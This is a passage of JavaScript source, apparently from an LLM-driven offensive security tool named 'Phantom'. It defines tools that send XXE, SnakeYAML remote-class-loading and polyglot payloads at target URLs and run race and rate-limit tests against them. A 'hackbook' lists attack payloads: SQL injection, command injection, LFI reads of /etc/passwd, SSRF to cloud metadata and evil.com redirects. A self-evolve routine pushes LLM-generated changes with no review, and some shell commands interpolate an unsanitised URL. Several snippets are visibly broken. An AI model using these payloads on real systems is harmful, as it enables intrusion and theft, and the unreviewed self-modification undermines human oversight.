yaml, polyglot, all"; const payloads = { xxe: `]>&xxe;`, yaml: `---\n!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://COLLAB"]]]]\n`, polyglot: `GIF89a/**/`, }; const results = []; const modes = mode==="all"?Object.keys(payloads):[mode]; for (const m of modes) { if (!payloads[m]) continue; try { const r = await fetch(url, {method:"POST",signal:AbortSignal.timeout(10000), body:payloads[m],headers:{"Content-Type":"application/octet-stream"}}); const t = await r.text(); if (t.includes("root:")||t.includes("www-data")) results.push(` \u26a0 ${m}: XXE confirmed — file read`); else if (r.status>=500&&t.includes("php")) results.push(` \u26a0 ${m}: Possible code exec`); else results.push(` \u2713 ${m}: ${r.status} — filtered`); } catch(e){results.push(` \u2715 ${m}: ${e.message}`);} } return `\u{1F4E4} Upload Test: ${url}\n${results.join("\n")}`; } catch(e){return `[upload_test Error] ${e.message}`;} }, // ── RATE LIMIT / TIMING / RACE TESTER ── rate_limit_test: async (input) => { try { const parts = input.split("|").map(s=>s.trim()); const url = parts[0]||""; const mode = (parts[1]||"burst").toLowerCase(); const count = parseInt(parts[2])||20; if(!url) return "[rate_limit_test] Usage: rate_limit_test|https://target/login|burst|30"; const results = []; if(mode==="burst"||mode==="all"){ let blocked=false; const start=Date.now(); for(let i=0;i100) results.push(` \u26a0 Timing leak: ${diff}ms diff — possible enum`); else results.push(` \u2713 Timing consistent (\u00b1${diff}ms)`); } if(mode==="race"||mode==="all"){ const p=[]; for(let i=0;ir.status===200||r.status===201||r.status===302).length; if(ok>1) results.push(` \u26a0 Race window: ${ok}/${res.length} concurrent successes`); else results.push(` \u2713 No race window`); } return `\u23F1 Rate Limit Test: ${url} (${mode})\n${results.join("\n")}`; } catch(e){return `[rate_limit_test Error] ${e.message}`;} }, plugin_load: async (input) => { try { const {existsSync,mkdirSync,readdirSync,resolve} = await import("fs/promises").catch(() => $r("fs")); const pf = await import("path"); const pluginDir = (input||"").trim() || $r("os").homedir() + "/.config/phantom/plugins"; if (!existsSync(pluginDir)) mkdirSync(pluginDir, {recursive: true}); const files = readdirSync(pluginDir).filter(f => f.endsWith(".mjs") || f.endsWith(".js")); if (!files.length) return `[Plugin] No plugins in ${pluginDir}`; let loaded = 0; for (const f of files) { try { const mod = await import(pf.resolve(pluginDir, f)); if (mod.name && mod.execute) { globalThis.hackerTools ||= {}; globalThis.hackerTools[mod.name] = mod.execute; loaded++; } } catch {} } return loaded ? `🔌 Loaded ${loaded} plugin(s)` : `[Plugin] No valid plugins`; } catch (e) { return `[Plugin Error] ${e.message}`; } }, plugin_create: async (input) => { try { const [name,...rest] = input.split("|"); const n = (name||"").trim().toLowerCase().replace(/[^a-z0-9_]/g,"_"); const desc = (rest[0]||"Custom plugin").trim(); if (!n) return `[Plugin] Format: tool_name|description`; const d = $r("os").homedir() + "/.config/phantom/plugins"; $r("fs").mkdirSync(d, {recursive:true}); const fp = d + "/" + n + ".mjs"; $r("fs").writeFileSync(fp, `// Phantom Plugin: ${n}\n// ${desc}\nexport const name = "${n}";\nexport const description = "${desc}";\nexport async function execute(input) {\n try { return \`[${n}] Processed: \${input}\`; } catch (e) { return \`[\${name} Error] \${e.message}\`; }\n}\n`); return `🔌 Plugin created: @${n}\n ${fp}`; } catch (e) { return `[Plugin Error] ${e.message}`; } }, report_export: async (input) => { try { const {existsSync,readdirSync,readFileSync,writeFileSync,mkdirSync} = $r("fs"); const {resolve} = $r("path"); const {homedir} = $r("os"); const rd = resolve(homedir(), ".config", "phantom", "reports"); const args = input.trim().split(/\s+/); const name = args[0] || ""; const fmt = (args[1] || "html").toLowerCase(); // If no args, list if (!name && existsSync(rd)) { const all = readdirSync(rd).filter(f => !f.includes("batch_")).filter(f => f.endsWith(".md")); if (!all.length) return `[ReportExport] No reports in ${rd}`; return `[ReportExport] Usage: @report_export|name [format]\\nFormats: html (default), json, txt\\nAvailable: ${all.join(", ")}`; } const fp = resolve(rd, name.includes(".") ? name : name + ".md"); if (!existsSync(fp)) return `[ReportExport] Not found: ${name}`; const content = readFileSync(fp, "utf-8"); if (fmt === "json") { const lines = content.split("\n").filter(Boolean); const json = JSON.stringify({ name, exported: new Date().toISOString(), lines, raw: content }, null, 2); const outPath = fp.replace(/\.\w+$/, ".json"); writeFileSync(outPath, json, "utf-8"); return `📄 JSON: ${outPath} (${json.length} bytes)`; } if (fmt === "txt") { const plain = content.replace(/^#+ /gm, "").replace(/\*\*(.+?)\*\*/g, "$1").replace(/`{3}[\s\S]*?`{3}/g, m => m.replace(/`{3}/g,"").trim()); const outPath = fp.replace(/\.\w+$/, ".txt"); writeFileSync(outPath, plain, "utf-8"); return `📄 TXT: ${outPath} (${plain.length} bytes)`; } // Default: enhanced HTML export const title = name.replace(/\.md$/, "").replace(/_/g, " ").replace(/\b\w/g, c => c.toUpperCase()); const body = content .replace(/&/g,"&").replace(//g,">") .replace(/^#### (.+)$/gm,"

$1

") .replace(/^### (.+)$/gm,"

$1

") .replace(/^## (.+)$/gm,"

$1

") .replace(/^# (.+)$/gm,"

$1

") .replace(/\*\*(.+?)\*\*/g,"$1") .replace(/`{3}([\s\S]*?)`{3}/g,"
$1
") .replace(/`(.+?)`/g,"$1") .replace(/\n/g,"
"); const html = `Phantom — ${title}

🔮 Phantom — ${title}

${body} `; const outPath = fp.replace(/\.\w+$/, ".html"); writeFileSync(outPath, html, "utf-8"); return `📄 Export: ${outPath}\n Formats: @report_export|${name}|json — @report_export|${name}|txt`; } catch (e) { return `[ReportExport Error] ${e.message}`; } }, distro: async (input) => { try { const cmd = (input||"").trim().toLowerCase(); const isProotEnv = __r.ENV.isProot; const distroId = ($r("fs").readFileSync("/etc/os-release","utf-8").match(/^ID=(.+)$/m) || [,"unknown"])[1]; const prettyName = ($r("fs").readFileSync("/etc/os-release","utf-8").match(/^PRETTY_NAME="(.+)"$/m) || [,"Unknown"])[1]; if (!cmd || cmd === "info") { return `📦 Current Distro\n ID: ${distroId}\n Name: ${prettyName}\n Kernel: ${$r("os").release()}\n Arch: ${process.arch}\n ${isProotEnv ? "🔒 PRoot: yes (nested proot-distro not available)" : "🔓 PRoot: no (proot-distro available)"}\n Host: Termux (Termux)\n\nCommands:\n @distro|info — show this\n @distro|list — list proot-distro environments (outside PRoot only)\n @distro|run — run command in another distro (outside PRoot)`; } if (cmd === "list") { if (isProotEnv) return `[Distro] Can't list: already inside PRoot. Run from Termux host.`; const { execSync } = $r("child_process"); const out = execSync("proot-distro list 2>&1", { encoding: "utf-8", timeout: 10000 }); return `📦 Available Distros\n${out.trim()}`; } if (cmd.startsWith("run ")) { if (isProotEnv) return `[Distro] Can't run nested PRoot. Run from Termux host.`; const rest = cmd.slice(4).trim(); const sp = rest.indexOf(" "); const dName = sp > 0 ? rest.slice(0, sp) : rest; const dCmd = sp > 0 ? rest.slice(sp + 1) : "whoami"; const { execSync } = $r("child_process"); const out = execSync(`proot-distro login ${dName} -- ${dCmd} 2>&1`, { encoding: "utf-8", timeout: 30000 }); return `📦 [${dName}] $ ${dCmd}\n${out.trim()}`; } return `[Distro] Unknown: "${cmd}". Try: info, list, run `; } catch (e) { return `[Distro Error] ${e.message}`; } }, llm_config: async (input) => { try { const provs = ["openai","anthropic","gemini","groq","deepseek","mistral","openrouter","ollama","opencode"]; const envs = {openai:"OPENAI_API_KEY",anthropic:"ANTHROPIC_API_KEY",gemini:"GEMINI_API_KEY",groq:"GROQ_API_KEY",deepseek:"DEEPSEEK_API_KEY",mistral:"MISTRAL_API_KEY",openrouter:"OPENROUTER_API_KEY",ollama:"",opencode:"HERMES_OPCODE_API_KEY"}; const cmd = (input||"").trim().toLowerCase(); if (!cmd || cmd === "list" || cmd === "ls") { const cur = __r.PHANTOM_LLM_PROVIDER || "openai"; const status = provs.map(p => { const e = envs[p]; const hasKey = !e || !!process.env[e]; return ` ${p === cur ? "→" : " "} ${p.padEnd(12)} ${e ? (hasKey ? "✅ key set" : "❌ no key") : "🟢 local"}${e ? ` (${e})` : ""}`; }).join("\n"); return `🤖 LLM Configuration\nProvider: ${cur}\n\nAvailable:\n${status}\n\nUsage:\n @llm_config — show this\n @llm_config| — switch provider\n @llm_config|set KEY value — set API key (persisted)\n @llm_config|model name — set model override`; } if (cmd === "set") { const rest = cmd.slice(4).trim(); const sp = rest.indexOf(" "); const e = (sp > 0 ? rest.slice(0, sp) : rest).toUpperCase(); const v = sp > 0 ? rest.slice(sp + 1) : ""; if (!v) return `[LLM] Usage: @llm_config|set ENV_NAME value`; process.env[e] = v; __r._config[e] = v; try { fs.writeFileSync(userConfigPath, JSON.stringify(__r._config, null, 2)); } catch {} return `✅ ${e} set and saved`; } if (cmd.startsWith("model ")) { const m = cmd.slice(6).trim(); if (!m) return `[LLM] Usage: @llm_config|model name`; __r._config.default_model = m; try { fs.writeFileSync(userConfigPath, JSON.stringify(__r._config, null, 2)); } catch {} return `✅ Default model: ${m}`; } if (provs.includes(cmd)) { if (__r.llmInstance) { try { __r.llmInstance.provider = cmd; } catch {} } __r.setProvider(cmd); return `✅ Switched to ${cmd}. ${cmd === "ollama" ? "Run Ollama locally." : `Set ${cmd.toUpperCase()}_API_KEY if needed.`}`; } return `[LLM] Unknown: "${cmd}". Options: ${provs.join(", ")}, set KEY val, model name`; } catch (e) { return `[LLM Error] ${e.message}`; } }, youtube_summarize: async (url) => { try { try { const { execSync } = await import("child_process"); execSync("command -v yt-dlp", { stdio: "pipe", timeout: 3000 }); } catch { return "[youtube] yt-dlp not found. Install: pip install yt-dlp"; } const { execSync } = await import("child_process"); const title = execSync(`yt-dlp --print title "${url}" 2>/dev/null`, { encoding: "utf-8", timeout: 10000 }).trim(); let transcript = ""; try { transcript = execSync(`yt-dlp --write-auto-sub --sub-lang en --skip-download -o "%(id)s" "${url}" 2>/dev/null; cat *.vtt 2>/dev/null || true`, { encoding: "utf-8", timeout: 30000 }); } catch { try { transcript = execSync(`yt-dlp --write-subs --sub-lang en --skip-download -o "%(id)s" "${url}" 2>/dev/null; cat *.vtt 2>/dev/null || true`, { encoding: "utf-8", timeout: 30000 }); } catch {} } if (!transcript) try { transcript = execSync(`yt-dlp --print description "${url}" 2>/dev/null`, { encoding: "utf-8", timeout: 10000 }); } catch {} if (!transcript) return `[youtube] No transcript for: "${title}"`; transcript = transcript.replace(/\d{2}:\d{2}:\d{2}[.,]\d{3}\s*>\s*/g, "").replace(/WEBVTT[\s\S]*?X-TIMESTAMP-MAP.*?\n/g, "").trim(); if (transcript.length > 6000) transcript = transcript.slice(0, 6000) + "\n...[truncated]"; let summary = ""; if (__r.llmInstance?.chat) { const resp = await __r.llmInstance.chat([ { role: "system", content: "You are a cybersecurity training summarizer. Given a transcript, create: 1) 3-sentence summary 2) Key takeaways 3) A ready-to-use playbook with 3-5 steps. Format playbook as: ```playbook\nname: ...\ndescription: ...\nsteps:\n - tool: ...\n target: ...```" }, { role: "user", content: `Video: "${title}"\nTranscript:\n${transcript}` } ]); summary = resp.trim(); } else { summary = `Title: ${title}\nTranscript: ${transcript.length} chars\n(LLM unavailable) Data saved, add LLM for AI summary.`; } const name = `yt_${title.replace(/[^a-z0-9]/gi, "_").slice(0, 30).toLowerCase()}`; const pbPath = resolve(PLAYBOOKS_DIR, `${name}.json`); if (!fs.existsSync(PLAYBOOKS_DIR)) fs.mkdirSync(PLAYBOOKS_DIR, { recursive: true }); fs.writeFileSync(pbPath, JSON.stringify({ name: title.slice(0,50), source: "youtube", url, created: new Date().toISOString(), summary }, null, 2), "utf-8"); return `🎬 YouTube: "${title}"\nTranscript: ${transcript.length} chars\nPlaybook: ${pbPath}\n\n${summary.slice(0,2000)}`; } catch (e) { return `[youtube Error] ${e.message}`; } }, hackbook: async (query) => { const q = query?.trim().toLowerCase() || "list"; const HACKBOOK_PATH = resolve(BASE_DIR, "hackbook.json"); // Load custom entries from file (merges with built-in) let customDb = []; try { if (fs.existsSync(HACKBOOK_PATH)) customDb = JSON.parse(fs.readFileSync(HACKBOOK_PATH, "utf-8")); } catch {} const builtinDb = [ { id:"sql-injection", t:"SQL Injection (SQLi)", s:"Critical", d:"Attackers inject malicious SQL queries through input fields to manipulate databases, extract data, bypass auth, or execute commands.", i:"Data breach, auth bypass, RCE, complete DB compromise", test:["Submit single quote and double quote to trigger errors","Use time-based: ' OR SLEEP(5)--","UNION SELECT: ' UNION SELECT 1,2,3--","Test all vectors: GET, POST, headers, cookies","sqlmap -u 'http://target.com/page?id=1' --batch"], m:"Parameterized queries, input validation, least privilege DB accounts, WAF", tools:"sqlmap, jSQL, Burp Suite, NoSQLMap" }, { id:"xss", t:"Cross-Site Scripting (XSS)", s:"High", d:"Attackers inject malicious scripts into web pages viewed by other users. Types: Reflected, Stored, DOM-based.", i:"Session hijacking, credential theft, defacement, phishing", test:["Inject ","Event handlers: ","Test URL params for reflected XSS","DOM-based via location.hash","Polyglot payloads for WAF bypass"], m:"Output encoding, Content-Security-Policy, HttpOnly cookies, X-XSS-Protection", tools:"XSStrike, Burp Suite, OWASP ZAP, BeEF, Dalfox" }, { id:"csrf", t:"Cross-Site Request Forgery (CSRF)", s:"High", d:"Forces authenticated users to execute unwanted actions on a web app where they're authenticated.", i:"Unauthorized transactions, password changes, account takeover", test:["Check if state-changing requests lack CSRF tokens","Verify tokens tied to sessions","Test SameSite cookies","CORS misconfigurations","CSRF without origin/referer headers"], m:"Anti-CSRF tokens, SameSite=Strict/Lax cookies, Origin/Referer validation", tools:"Burp Suite, OWASP ZAP, CSRFTester" }, { id:"ssrf", t:"Server-Side Request Forgery (SSRF)", s:"High", d:"Attackers make the server send requests to internal systems, bypassing firewalls.", i:"Internal network scanning, cloud metadata access, service exploitation", test:["Submit URLs to internal IPs: 127.0.0.1, 169.254.169.254","Cloud metadata: http://169.254.169.254/latest/meta-data/","URL scheme bypass: file://, dict://, gopher://","Redirect-based SSRF","DNS rebinding"], m:"Allowlist destinations, disable unnecessary URL schemes, network segmentation", tools:"SSRFmap, Gopherus, Interactsh" }, { id:"rce", t:"Remote Code Execution (RCE)", s:"Critical", d:"Attackers execute arbitrary commands on the server via injection flaws.", i:"Full server compromise, data exfiltration, lateral movement, backdoor", test:["Command injection: ; whoami, | id, $(whoami)","File upload for web shells","Deserialization gadgets (Java, PHP, Python, .NET)","Template injection: {{7*7}}, ${7*7}","eval() sinks"], m:"Avoid dangerous functions (eval, exec, system), input validation, sandboxing, WAF", tools:"Metasploit, Commix, ysoserial, JexBoss" }, { id:"lfi", t:"Local File Inclusion (LFI)", s:"High", d:"Attackers read arbitrary files by manipulating path parameters. Can lead to RCE.", i:"Source code disclosure, credential leakage, RCE via log poisoning", test:["Path traversal: ../../../etc/passwd","PHP wrappers: php://filter/convert.base64-encode/","Null byte injection","Log poisoning: inject PHP in UA, include access.log"], m:"Avoid dynamic includes, allowlist paths, disable allow_url_fopen", tools:"LFISuite, Kadimus, PHP filter chain" }, { id:"idor", t:"Insecure Direct Object Reference (IDOR)", s:"Medium", d:"Attackers access unauthorized resources by modifying direct references.", i:"Unauthorized data access, account takeover, privilege escalation", test:["Increment IDs: /user/123 -> /user/124","Predictable UUIDs","Change params: ?invoice=123 -> ?invoice=456","Multi-tenant boundary violations"], m:"Access control checks, use unpredictable IDs (UUIDs)", tools:"Burp Sequencer, Autorize, AuthMatrix" }, { id:"xxe", t:"XML External Entity (XXE)", s:"High", d:"Attackers exploit XML parsers to read files, perform SSRF, or cause DoS.", i:"File disclosure, SSRF, DoS (Billion Laughs), RCE", test:["]>","Blind XXE out-of-band","XXE in SVG upload, XML-RPC","XXE in docx/xlsx"], m:"Disable external entity processing, use JSON, disable DTDs", tools:"XXE-injection, OWASP ZAP, Burp Collaborator" }, { id:"open-redirect", t:"Open Redirect", s:"Medium", d:"Application redirects users to attacker-controlled URLs via unvalidated params.", i:"Phishing, malware distribution, credential theft, SEO spam", test:["/redirect?url=http://evil.com","Protocol-relative: //evil.com","Domain confusion: https://evil.com@target.com","Redirect chains for SSRF"], m:"Allowlist valid destinations, validate URLs, require confirmation", tools:"Oralyzer, Burp Scanner, OWASP ZAP" }, { id:"nosqli", t:"NoSQL Injection", s:"High", d:"Injection flaws in NoSQL databases where attackers inject JSON/JS operators.", i:"Auth bypass, data extraction, unauthorized access", test:["JSON operators: {$gt: ''}, {$ne: ''}, {$regex: '.*'}","username[$ne]=admin&password[$ne]=admin","POST with $where, $gte","NoSQL in login: ' || 1==1 //"], m:"Input validation, mongo-sanitize, parameterized queries", tools:"NoSQLMap, nosqli, Burp Suite" }, { id:"file-upload", t:"Malicious File Upload", s:"High", d:"Attackers upload malicious files processed or served by the app.", i:"RCE via web shell, malware distribution, server compromise", test:["Double extension: shell.php.jpg","MIME type manipulation","Upload .htaccess: AddType x-httpd-php .txt","SVG with XXE"], m:"Validate extension and content, store outside webroot, rename files, limit size", tools:"Burp Upload Scanner, Fuxploider" }, { id:"jwt", t:"JWT Attacks", s:"Medium", d:"Attacks on JSON Web Tokens: algorithm confusion, weak secrets, header injection.", i:"Auth bypass, privilege escalation, account takeover", test:["Algorithm to 'none': alg: none, empty sig","RS256 public key as HS256 secret","Bruteforce weak secret","kid header injection","Expired/revoked token testing"], m:"Enforce algorithm allowlist, strong secrets, validate claims, key rotation", tools:"jwt_tool, jwt-cracker, hashcat" }, { id:"cors", t:"CORS Misconfiguration", s:"Medium", d:"Improper CORS headers allow cross-origin requests from unauthorized domains.", i:"Data exfiltration, API abuse, credential theft", test:["Origin: https://evil.com check ACAO reflection","ACA with wildcard origin","Null origin","Preflight bypass"], m:"Allowlist origins, never wildcards with credentials, Vary: Origin", tools:"CORS Scanner, Burp, corsy" }, { id:"race-condition", t:"Race Condition", s:"Medium", d:"TOCTOU bugs where concurrent requests exploit gaps between check and use.", i:"Coupon abuse, ticket scalping, balance manipulation", test:["50 concurrent requests","Race password change","File upload race","Last-byte sync","Single-packet attack"], m:"Database transactions/locks, atomic operations, idempotency keys, rate limiting", tools:"Turbo Intruder (Burp), race-the-web" }, { id:"bug-bounty-basics", t:"Bug Bounty Basics — Getting Started", s:"Info", d:"Bug bounties are when companies pay hackers to find vulnerabilities in their applications. Platforms like HackerOne, Bugcrowd, Synack, and Intigriti act as middlemen. You sign up, find bugs, report them, and if legit, you get paid ($50–$50,000). Before touching platforms, learn fundamentals through hands-on practice.", i:"Career in security, ethical hacking skills, potential income ($50–$50k per bug), real-world security impact", test:["Read 'Real-World Bug Hunting' by Peter Yaworski — study real bug bounty writeups","Practice on TryHackMe, HackTheBox, and PortSwigger Web Security Academy","Study OWASP Top 10: XSS, SSRF, SQLi, IDOR, CSRF, XXE, RCE, LFI, NoSQLi, race conditions","Learn Jason Haddix's recon methodology — passive recon → subdomain enum → directory bruteforce → parameter analysis","Intercept & analyze traffic with Burp Suite — don't just run scanners","Understand each tool's output — tools show the haystack, you find the needle"], m:"Read real bug reports before submitting. Understand scope rules on each platform. Never test out-of-scope targets. Write clear, reproducible reports. Be patient — days of nothing are normal.", tools:"Burp Suite, nuclei, subfinder, httpx, dir_brute, ffuf, OWASP ZAP, HackTheBox, TryHackMe, PortSwigger Academy", ref:"https://www.youtube.com/watch?v=1ve-YrLOE7E — Bug Bounty Hunting Basics for Beginners 2024" }, { id:"cybersec-fundamentals", t:"Cybersecurity Fundamentals — 5 Core Skills", s:"Info", d:"Based on HackerSploit's guide. The 5 essential skills: (1) Virtual Machines — Hypervisors (VirtualBox/VMware/KVM), snapshots, isolated environments for training and malware analysis. (2) Command Line — Bash/Zsh/PowerShell, scripting, automation, WSL for Windows. (3) System Administration — configure/maintain systems, learn by doing, push limits. (4) Computer Networking — TCP/IP (4 layers) and OSI (7 layers), protocols, troubleshooting. (5) Personal Digital Security — passwords, encryption, secure comms, staying current.", i:"Foundation for ANY cybersecurity role (red/blue/IT ops), career readiness, practical hands-on skills over certs", test:["Install VirtualBox and set up a Kali Linux VM","Practice 10 basic Bash commands: ls, cd, grep, find, chmod, ps, netstat, curl, awk, sed","Configure a basic Linux server: SSH, firewall, users","Map TCP/IP layers for a web request: browser → DNS → TCP → HTTP","Set up a password manager and enable 2FA on all accounts"], m:"N/A — fundamentals guide", tools:"VirtualBox, VMware, WSL, Bash, Wireshark, nmap, OpenVPN" }, ]; if (q === "list") return `📚 PHANTOM HACKBOOK\n\nCategories (${builtinDb.length}):\n${builtinDb.map(e => ` ${e.t} — ${e.s}`).join("\n")}\n\nUsage: @hackbook|\nExample: @hackbook|sql-injection`; const matches = builtinDb.filter(e => e.id.includes(q) || e.t.toLowerCase().includes(q) || e.d.toLowerCase().includes(q)); if (!matches.length) return `[hackbook] No results for "${q}". Try: ${builtinDb.map(e=>e.id).join(", ")}`; if (matches.length > 1) return `[hackbook] Multiple: ${matches.map(e=>e.t).join(", ")}. Be specific.`; const e = matches[0]; return `📚 ${e.t}\n${"=".repeat(40)}\nSeverity: ${e.s}\n\n📖 ${e.d}\n\n⚠️ Impact:\n${e.i}\n\n🔍 Testing:\n${e.test.map((s,i) => ` ${i+1}. ${s}`).join("\n")}\n\n🛡️ Mitigation:\n${e.m}\n\n🔧 Tools:\n${e.tools}\n${e.ref ? `\n📺 Reference:\n${e.ref}\n` : ""}${"=".repeat(40)}`; }, code_analyze: async (input) => { const arg = input.trim(); if (!arg) return "[code_analyze] Usage: @code_analyze|file_path or directory"; try { const fp = resolve(process.cwd(), arg); const st = fs.statSync(fp); let files = []; if (st.isDirectory()) { const { readdirSync } = await import("fs"); const all = readdirSync(fp, { recursive: true }); const exts = [".js",".ts",".mjs",".py",".php",".java",".go",".rs",".cpp",".c",".h",".rb",".html",".sh",".yaml",".sql"]; files = all.filter(f => exts.some(e => f.endsWith(e))).slice(0,20).map(f => resolve(fp, f)); if (!files.length) files = [fp]; } else { files = [fp]; } const results = []; for (const f of files.slice(0,5)) { const code = fs.readFileSync(f, "utf-8").slice(0,3000); const name = f.replace(process.cwd()+"/", ""); const ext = f.split(".").pop(); const issues = []; const checks = [ { rx: [/\beval\s*\(/g, /\bexec\s*\(/g, /\bsystem\s*\(/g, /\bpopen\s*\(/g, /child_process/g], label: "eval/exec use" }, { rx: [/['"][A-Za-z0-9_]{20,}['"]/g, /(api[_-]?key|secret|password|token|auth).{0,20}=.{0,20}['"][A-Za-z0-9_]{8,}['"]/gi], label: "Hardcoded secret" }, { rx: [/['"].*\+.*['"].*SQL/g, /\bquery\(.*\+/g, /\bexecute\(.*\+/g], label: "SQL injection risk" }, { rx: [/==\s*true/g, /\b(true|false)\s*!=\s*/g], label: "Insecure comparison" }, { rx: [/\bMD5\b/g, /\bSHA1\b/gi, /\bRC4\b/g, /\bDES\b/g], label: "Weak crypto" }, { rx: [/\bfs\.readFileSync/g, /\bopen\(.*\$/g], label: "File access" }, { rx: [/console\.log\(/g, /print_r\(/g, /var_dump\(/g, /debugger/g], label: "Debug leak" }, { rx: [/\bredirect\(.*\$/g, /\bheader\(.*Location/g], label: "Unvalidated redirect" } ]; for (const c of checks) for (const r of c.rx) { const m = code.match(r); if (m) issues.push(`${c.label} (${m.length}x)`); } results.push({ file: name, size: code.length, ext, issues: [...new Set(issues)] }); } let report = `# Code Security Analysis\nTarget: ${arg} (${files.length} files)\nScanned: ${Math.min(files.length,5)}\n\n`; for (const r of results) { report += `## ${r.file}\nSize: ${r.size}B | Type: ${r.ext}\n`; if (r.issues.length) { r.issues.forEach(i => report += `- ${i}\n`); } else { report += "No issues found\n"; } report += "\n"; } if (files.length > 5) report += `_${files.length-5} more files not scanned_\n`; if (__r.llmInstance?.chat && results.length) { const samples = results.map(r => `File: ${r.file}\n${fs.readFileSync(r.file,"utf-8").slice(0,1500)}`).join("\n\n---\n\n"); const llmOut = await __r.llmInstance.chat([ { role: "system", content: "You are a code security auditor. Analyze for OWASP Top 10, hardcoded secrets, logic flaws. Give specific line numbers and fixes." }, { role: "user", content: `Code to analyze:\n\n${samples.slice(0,8000)}` } ]); report += `## AI Analysis\n\n${llmOut.trim().slice(0,3000)}\n`; } return report; } catch (e) { return `[code_analyze Error] ${e.message}`; } }, self_improve: async (input) => { const focus = input?.trim().toLowerCase() || "all"; try { const src = fs.readFileSync(resolve(process.cwd(), "phantom.mjs"), "utf-8"); const lines = src.split("\n").length; const size = (src.length / 1024).toFixed(1); const classes = (src.match(/class\s+\w+/g) || []).length; const fns = (src.match(/async\s+\w+\s*\(/g) || []).length; let report = `# Self-Improvement\nSource: phantom.mjs\nLines: ${lines} | Size: ${size} KB\nClasses: ${classes} | Async fns: ~${fns}\nFocus: ${focus}\n\n`; const imps = []; if (focus === "all" || focus === "performance") { imps.push(`Split ${lines}-line monolith into modules`); imps.push("Lazy-load rarely used tools"); imps.push("Use WeakMap for agent caches"); } if (focus === "all" || focus === "security") { imps.push("Add input length limits to prevent ReDoS"); imps.push("Sanitize file paths to prevent traversal"); imps.push("Rate-limit shell execution"); imps.push("Validate URLs against SSRF allowlist"); } if (focus === "all" || focus === "features") { imps.push("Web dashboard for agent monitoring"); imps.push("Plugin hot-reload without restart"); imps.push("Export to PDF/Nessus/OpenVAS"); imps.push("Multi-session tabs for concurrent targets"); imps.push("Voice commands via Termux TTS"); } report += `## Improvements (${imps.length})\n\n${imps.map((s,i) => `${i+1}. ${s}`).join("\n")}\n\n`; let patched = false; if (__r.llmInstance?.chat && lines > 3200) { report += `LLM analyzing optimization opportunities...\n`; const analysis = await __r.llmInstance.chat([ { role: "system", content: "You are code optimization AI. Analyze Phantom source and suggest 3 specific improvements with exact code changes." }, { role: "user", content: `Source: phantom.mjs (${lines} lines, ${size} KB)\nFocus: ${focus}\n\nFirst 3000 chars:\n${src.slice(0,3000)}\n\nLast 2000 chars:\n${src.slice(-2000)}` } ]); report += `${analysis.trim().slice(0,2000)}\n`; const dir = resolve(REPORTS_DIR, "self_improve"); if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); fs.writeFileSync(resolve(dir, `analysis_${Date.now()}.md`), `# Self-Improvement\n\n${analysis}`, "utf-8"); patched = true; } report += `\n${patched ? "Analysis saved to reports/self_improve/" : "No LLM available for deep analysis"}\nTo apply: @self_edit|phantom.mjs|old|new`; return report; } catch (e) { return `[self_improve Error] ${e.message}`; } }, // ── SELF-EVOLVE — full pipeline: wrappers→heal→optimize→validate→test→push ── self_evolve_primary: async (input) => { const arg = (input || "").trim().toLowerCase(); // Status check if (arg === "status" || arg === "s" || arg === "--status") { try { const { autoEvolve, getEvolveStatus, detectMissingWrappers } = await import("./evolve.mjs"); const st = getEvolveStatus(); const lines = [ `🧬 PHANTOM AUTO-EVOLUTION`, `Generation: ${st.generation}`, `Wrappers created: ${st.wrappers_created}`, `Errors auto-fixed: ${st.errors_fixed}`, `Patches: ${st.patches_applied}`, `Last evolve: ${st.last_evolve || "never"}`, ]; if (st.wrapper_list?.length > 0) { lines.push(`\n Auto-wrappers:`); st.wrapper_list.slice(-5).forEach(w => lines.push(` ${w.bin} → ${w.path}`)); } if (st.recent_fixes?.length > 0) { lines.push(`\n Recent fixes:`); st.recent_fixes.slice(-3).forEach(f => lines.push(` ${f.ts?.split("T")[0]} ${f.tool}: ${f.fix?.slice(0, 60)}`)); } // Check for new wrappers available try { const missing = detectMissingWrappers(); if (missing.length > 0) lines.push(`\n ⚡ ${missing.map(m => m.bin).join(", ")} installed — wrappers ready to generate`); } catch {} return lines.join("\n"); } catch (e) { return `[evolve status] ${e.message}`; } } // Run full evolution try { const { autoEvolve } = await import("./evolve.mjs"); const result = await autoEvolve(); const lines = [`🧬 PHANTOM EVOLUTION — Generation ${result.generation}`]; const created = result.results.filter(r => r.phase === "wrapper" && r.status === "created"); if (created.length > 0) { lines.push(`\n✅ Created ${created.length} new tool wrapper(s):`); created.forEach(c => lines.push(` + ${c.bin} → lib/auto_tools/${c.bin}.mjs`)); } const gitCommit = result.results.filter(r => r.phase === "git" && r.status === "committed"); if (gitCommit.length > 0) lines.push(`\n📦 Git commit: ${gitCommit.length} change(s)`); const testPass = result.results.filter(r => r.phase === "test" && r.status === "passed"); const testFail = result.results.filter(r => r.phase === "test" && r.status === "failed"); const testRetry = result.results.filter(r => r.phase === "test_retry" && r.status === "passed"); if (testFail.length > 0) { lines.push(`\n❌ Tests failed: ${testFail[0].passed}/${testFail[0].passed + testFail[0].failed}`); } else if (testPass.length > 0) { lines.push(`\n🧪 Tests passed: ${testPass[0].passed}/${testPass[0].passed}`); } if (testRetry.length > 0) { lines.push(` 🔧 Healed + retry passed: ${testRetry[0].passed}/${testRetry[0].passed}`); } const ready = result.results.filter(r => r.phase === "git" && r.status === "ready_to_push"); if (ready.length > 0) { for (const r of ready) { lines.push(`\n📦 Auto-pushing ${r.commits.split("\n").length} commit(s)...`); } try { const { execSync } = await import("child_process"); const cwd = resolve(dirname(fileURLToPath(import.meta.url)), ".."); const pushOut = execSync("git push", { cwd, encoding: "utf-8", timeout: 60000 }); lines.push(`✅ Pushed: ${pushOut.trim().split("\n").pop() || "done"}`); } catch (e) { const msg = e.stderr?.trim() || e.message; lines.push(`⚠ Push failed: ${msg.slice(0, 200)}`); } } const validated = result.results.filter(r => r.phase === "validate" && r.status === "ok"); if (validated.length > 0) lines.push(`\n✅ ${validated.length} files validated`); const failed = result.results.filter(r => r.status === "error" || r.status === "failed"); if (failed.length > 0) { lines.push(`\n⚠ ${failed.length} issues found:`); failed.forEach(f => lines.push(` ${f.file || f.bin || ""}: ${f.error?.slice(0, 100) || "?"}`)); } const opts = result.results.filter(r => r.phase === "optimize"); if (opts.length > 0) { lines.push(`\n💡 Optimization suggestions:`); opts.forEach(o => lines.push(` ${o.detail?.slice(0, 120)}`)); } if (created.length === 0 && validated.length > 0 && failed.length === 0) { lines.push("\n✓ Phantom is healthy — no evolution needed"); } return lines.join("\n"); } catch (e) { return `[self_evolve Error] 